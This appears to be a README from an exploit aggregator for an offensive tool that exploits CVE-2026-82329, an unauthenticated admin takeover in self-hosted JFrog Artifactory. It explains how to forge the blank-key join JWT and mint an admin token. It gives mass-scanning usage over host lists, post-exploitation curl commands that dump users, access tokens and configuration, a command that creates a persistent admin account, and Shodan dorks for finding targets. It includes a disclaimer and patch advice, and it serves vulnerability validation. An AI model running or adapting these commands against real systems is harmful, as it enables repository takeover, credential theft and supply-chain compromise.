## https://sploitus.com/exploit?id=DC7D9D0A-60AF-5543-8EBC-1EF85E277FFE
# artifactory.py
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β artifactory Β· CVE-2026-82329 unauth admin takeover β
β mitsec Β· https://x.com/ynsmroztas β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
**CVE-2026-82329** β JFrog Artifactory (self-hosted) unauthenticated join-JWT
β SERVICE `admin` token β platform **`applied-permissions/admin`** access token.
CVSS **9.8** Β· CWE-287 Β· CISA KEV Β· exploited in the wild.
> Authorized testing only. Do not run this against systems you do not own
> or do not have written permission to test.
---
## What it does
Default self-hosted installs trust a **blank join key**.
```
JoinKeyUtils.getSigningKey("") == pkcs7(empty, 32) == 32 Γ 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
```
| Step | Request | Result |
|------|---------|--------|
| 1 | Forge HS256 join JWT (`iat` fresh, `skip_node_registration=true`) | known HMAC secret |
| 2 | `POST /access/api/v1/registry/join` | **201** SERVICE token `scp=admin` |
| 3 | `POST /access/api/v1/tokens` | **200** admin token `scp=applied-permissions/admin` `aud=*` |
| 4 | `GET /artifactory/api/system/configuration` | admin-only proof (unauth = 401) |
Cloud-hosted JFrog is patched. Self-hosted only.
| Branch | Vulnerable β€ | Fixed |
|--------|--------------|-------|
| 7.111 | 7.111.20 | **7.111.21** |
| 7.117 | 7.117.27 | **7.117.28** |
| 7.125 | 7.125.19 | **7.125.20** |
| 7.133 | 7.133.28 | **7.133.29** |
| 7.146 | 7.146.37 | **7.146.38** |
| 7.161 | 7.161.19 | **7.161.20** |
Access fix line: **7.191.14**.
---
## Install
```bash
# stdlib only β no pip
python3 artifactory.py -h
```
TLS verification is **off by default** (self-signed Artifactory is normal).
No extra flag.
---
## Usage
```bash
# single host
python3 artifactory.py -u https://artifactory.example.internal:8082
# print minted admin token
python3 artifactory.py -u https://TARGET:8082 --token
# list / pipeline (httpx, shodan, subfinder style)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py
# Pro / Enterprise only β persist a local admin (destructive)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1
```
### Output
```
[VULN] https://TARGET:8082 join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE] https://patched:8082 join HTTP 401 (patched / no blank key)
[FAIL] https://dead:8082 unreachable
```
| Tag | Meaning |
|-----|---------|
| `VULN` | Blank join accepted + admin proof (`configuration` or token list = 200) |
| `SAFE` | Join rejected β patched, extra join keys set, or not Access |
| `INFO` | Join minted, proof endpoints not 200 β inspect manually |
| `FAIL` | Network / timeout |
`--token` prints the Bearer value. That **is** the takeover β a login user is optional.
`--create-admin` often returns **400 on OSS** (`PUT /artifactory/api/security/users` is Pro).
The admin token still works. Persistence is not required for a valid finding.
---
## After a hit β use the token
Replace `TARGET` and paste the token from `--token`.
```bash
TOKEN='eyJ...' # output of --token
B='https://TARGET:8082'
# version / edition
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/version"
# user directory (admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v2/users"
# every access token on the instance
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens" | head -c 400
# repository inventory
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/repositories"
```
Other useful admin-only reads (do not write unless authorized):
```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/system/configuration" -o config.xml
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/artifactory/api/security/users"
curl -sk -H "Authorization: Bearer $TOKEN" \
"$B/access/api/v1/tokens"
```
UI: Platform β login with **Access Token**, or send
`Authorization: Bearer ` on every request.
### Optional persistent user (Pro / Access v2)
```bash
curl -sk -D- -X POST "$B/access/api/v2/users" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"username":"auditor","email":"auditor@poc.local","password":"ChangeMe_1Aa","admin":true}'
```
Password policy 400 β not vulnerable. Token already has `aud=*`.
---
## Recon
```
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"
# common ports
8081 8082 8040 8046 443
```
Tool strips `/artifactory` `/ui` `/webapp` from `-u` and talks to the Access router on the same origin.
---
## Why `--create-admin` is not the finding
| Surface | OSS | Pro / Enterprise |
|---------|-----|------------------|
| Mint admin access token | yes | yes |
| Read config / list tokens / repos | yes | yes |
| `PUT /artifactory/api/security/users` | 400 Pro-only | 200/201 |
| `POST /access/api/v2/users` | version / policy dependent | 201 |
Report impact as: **unauthenticated platform administrator token**.
User creation is a follow-up, not the root issue.
---
## References
- [NVD β CVE-2026-82329](https://nvd.nist.gov/vuln/detail/CVE-2026-82329)
- [JFrog security advisories](https://docs.jfrog.com/releases/docs/jfrog-security-advisories)
- [Self-managed releases / patches](https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases)
- Lab + patch diff: [dinosn/cve-2026-82329-jfrog-artifactory](https://github.com/dinosn/cve-2026-82329-jfrog-artifactory)
---
## Disclaimer
This repository is a **validator** for systems you are authorized to test.
Minting tokens, listing users, or creating accounts on third-party infrastructure without permission is illegal.
Patch: upgrade to the fixed build for your branch, set a real join key, rotate tokens minted after disclosure.
---
`mitsec` Β· [@ynsmroztas](https://x.com/ynsmroztas)
)